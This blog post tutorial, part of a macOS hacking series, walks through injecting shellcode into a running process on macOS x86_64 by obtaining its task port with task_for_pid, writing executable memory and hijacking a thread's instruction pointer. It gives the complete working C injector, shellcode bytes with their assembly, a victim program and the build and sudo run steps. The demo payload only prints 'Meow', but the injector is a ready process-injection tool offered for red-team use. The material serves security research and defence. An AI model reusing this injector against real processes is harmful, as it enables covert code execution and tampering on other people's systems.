MacOS hacking part 9: shellcode injection via task_for_pid - thread hijacking. Simple C (Intel) example
﷽
Hello, cybersecurity enthusiasts and white hackers!
In this post, we explore how to inject and run custom shellcode into a remote process on macOS x86_64
using native APIs such as task_for_pid()
, mach_vm_allocate()
, mach_vm_write()
, and direct register manipulation via thread_set_state()
.
task for pid
At the heart of this injection technique lies task_for_pid()
, a Mach API function that retrieves the task port - essentially a handle - for a given process ID. This port gives us the power to manipulate the memory and threads of the target process.
But there’s a catch. Actually, several.
task_for_pid()
is a privileged call. On macOS, it only works if:
- the calling process has the
task_for_pid
-allow entitlement, - SIP (System Integrity Protection) is either disabled or selectively configured,
- and the caller has root privileges.
Without these conditions, task_for_pid()
will fail with KERN_FAILURE
or KERN_PROTECTION_FAILURE
, and the injection stops right there.
practical example
we’ll walk through the logic step-by-step and show how to hijack execution flow of a live process using nothing but public APIs. As always, my cases tested on Mac OS X Sonoma VM
:
to inject into the victim process, we first need to gain access to its task port. On macOS, task_for_pid()
allows us to do this - but only if you have root privileges and SIP isn’t blocking you. So make sure you’re running as root and SIP is disabled or selectively configured:
pid_t pid = atoi(argv[1]);
task_t task;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &task);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] task_for_pid() failed: %s\n", mach_error_string(kr));
return 1;
}
printf("[+] attached to pid %d\n", pid);
Once we have the task port, we use mach_vm_allocate()
to reserve memory in the remote process:
mach_vm_address_t remote_addr = 0;
kr = mach_vm_allocate(task, &remote_addr, sizeof(shellcode), VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] mach_vm_allocate failed: %s\n", mach_error_string(kr));
return 1;
}
printf("[+] allocated memory at 0x%llx\n", remote_addr);
This memory needs to be writable so we can use mach_vm_write()
to copy in our shellcode:
kr = mach_vm_write(task, remote_addr, (vm_offset_t)shellcode, sizeof(shellcode));
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] mach_vm_write failed: %s\n", mach_error_string(kr));
return 1;
}
printf("[+] wrote shellcode\n");
however, by default, newly allocated memory is not executable, and trying to jump into it will cause a BUS ERROR
. So after writing, we call mach_vm_protect()
to explicitly grant VM_PROT_EXECUTE
permission:
// make memory RX
kr = mach_vm_protect(task, remote_addr, sizeof(shellcode), FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] mach_vm_protect failed: %s\n", mach_error_string(kr));
return 1;
}
printf("[+] set memory RX\n");
Next, we obtain the list of threads with task_threads()
and pick the first thread:
thread_act_t thread;
thread_array_t thread_list;
mach_msg_type_number_t thread_count = 0;
kr = task_threads(task, &thread_list, &thread_count);
if (kr != KERN_SUCCESS || thread_count < 1) {
fprintf(stderr, "[-] task_threads failed: %s\n", mach_error_string(kr));
return 1;
}
We suspend it, read its current x86_thread_state64_t
, change the instruction pointer (__rip
) to point to our shellcode:
thread = thread_list[0];
x86_thread_state64_t state;
mach_msg_type_number_t state_count = x86_THREAD_STATE64_COUNT;
kr = thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &state_count);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] thread_get_state failed: %s\n", mach_error_string(kr));
return 1;
}
printf("[+] RIP before: 0x%llx\n", state.__rip);
state.__rip = remote_addr;
and write the new state back with thread_set_state()
:
kr = thread_set_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, state_count);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] thread_set_state failed: %s\n", mach_error_string(kr));
return 1;
}
printf("[+] RIP set to 0x%llx. shellcode running in PID %d\n", remote_addr, pid);
return 0;
So, finally we need shellcode. Our payload is simple: write the string "Meow\n"
to stdout (file descriptor 1), then gracefully call exit(0)
. This avoids crashing the process or leaving it in an unstable state.
This shellcode is handcrafted in x86_64
assembly using macOS syscall numbers. Here’s the corresponding bytes:
unsigned char code[] =
"\x48\xb8\x4d\x65\x6f\x77\x0a\x00\x00\x00"
"\x50\xbf\x01\x00\x00\x00"
"\x48\x89\xe6\xba\x05\x00\x00\x00"
"\xb8\x04\x00\x00\x02\x0f\x05"
"\xb8\x01\x00\x00\x02\x48\x31\xff\x0f\x05";
if you need assembly code:
global start
section .text
start:
mov rax, 0x0a776f654d ; "\nwoeM" in little-endian
push rax ; string now on stack
mov rdi, 1 ; fd = 1 (stdout)
mov rsi, rsp ; pointer to "Meow\n"
mov rdx, 5 ; length = 5 bytes
mov rax, 0x2000004 ; syscall: write
syscall
mov rax, 0x2000001 ; syscall: exit
xor rdi, rdi ; exit code 0
syscall
It’s compact and self-contained, perfect for this type of PoC.
So, full source code of our injector:
/*
* hack.c
* macOS x86_64 shellcode injection
* via task for pid
* author @cocomelonc
* https://cocomelonc.github.io/macos/2025/08/19/malware-mac-9.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <mach/mach_vm.h>
#include <mach/thread_status.h>
unsigned char shellcode[] =
"\x48\xb8\x4d\x65\x6f\x77\x0a\x00\x00\x00"
"\x50\xbf\x01\x00\x00\x00"
"\x48\x89\xe6\xba\x05\x00\x00\x00"
"\xb8\x04\x00\x00\x02\x0f\x05"
"\xb8\x01\x00\x00\x02\x48\x31\xff\x0f\x05";
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "usage: %s <pid>\n", argv[0]);
return 1;
}
pid_t pid = atoi(argv[1]);
task_t task;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &task);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] task_for_pid() failed: %s\n", mach_error_string(kr));
return 1;
}
printf("[+] attached to pid %d\n", pid);
mach_vm_address_t remote_addr = 0;
kr = mach_vm_allocate(task, &remote_addr, sizeof(shellcode), VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] mach_vm_allocate failed: %s\n", mach_error_string(kr));
return 1;
}
printf("[+] allocated memory at 0x%llx\n", remote_addr);
kr = mach_vm_write(task, remote_addr, (vm_offset_t)shellcode, sizeof(shellcode));
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] mach_vm_write failed: %s\n", mach_error_string(kr));
return 1;
}
printf("[+] wrote shellcode\n");
// make memory RX
kr = mach_vm_protect(task, remote_addr, sizeof(shellcode), FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] mach_vm_protect failed: %s\n", mach_error_string(kr));
return 1;
}
printf("[+] set memory RX\n");
thread_act_t thread;
thread_array_t thread_list;
mach_msg_type_number_t thread_count = 0;
kr = task_threads(task, &thread_list, &thread_count);
if (kr != KERN_SUCCESS || thread_count < 1) {
fprintf(stderr, "[-] task_threads failed: %s\n", mach_error_string(kr));
return 1;
}
thread = thread_list[0];
x86_thread_state64_t state;
mach_msg_type_number_t state_count = x86_THREAD_STATE64_COUNT;
kr = thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &state_count);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] thread_get_state failed: %s\n", mach_error_string(kr));
return 1;
}
printf("[+] RIP before: 0x%llx\n", state.__rip);
state.__rip = remote_addr;
kr = thread_set_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, state_count);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] thread_set_state failed: %s\n", mach_error_string(kr));
return 1;
}
printf("[+] RIP set to 0x%llx. shellcode running in PID %d\n", remote_addr, pid);
return 0;
}
demo
First of all, to keep things simple and controllable, we’ll start a small dummy “victim” process. Its only job is to print a message every few seconds. We’ll inject into this process from our injector:
/*
* meow.c
* victim process for macOS injection tests
* author @cocomelonc
* https://cocomelonc.github.io/macos/2025/08/19/malware-mac-9.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
printf("victim process started. PID: %d\n", getpid());
while (1) {
printf("meow-meow... PID: %d\n", getpid());
sleep(5); // simulate periodic activity
}
return 0;
}
Compile it:
clang -o meow meow.c
Then run:
./meow
Take note of the printed PID - we’ll need it for injection.
Then compile our injector:
clang -o hack hack.c
Then run it with PID param:
sudo ./hack 818
As you can see, everything is works perfectly! =^..^=
shellcode injection on macOS via task_for_pid()
is possible with root privileges:
Apple treats task_for_pid()
as a potential vector for code injection, debugging, and exploitation. In hardened environments, it’s blocked to protect critical system and user processes from tampering.
For researchers, though, task_for_pid()
is a powerful entry point into a process’s memory space - allowing you to allocate, write, and even hijack execution. Combined with other Mach APIs like mach_vm_write
, mach_vm_protect
, and thread_set_state
, it opens the door to manual, thread-hijacking code injection with full control.
Note: Instead of hijacking an existing thread, another approach is to create a new remote thread in the target process. This technique is often safer and avoids potential race conditions. I’ll explore remote thread creation (including examples for macOS ARM64 and M1/M2 targets) in upcoming posts.
I hope this post is useful for malware researchers, macOS/Apple
security researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
macOS hacking part 1
macOS hacking part 2
macOS hacking part 3
macOS hacking part 4
macOS hacking part 5
macOS hacking part 6
macOS hacking part 7
macOS hacking part 8
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine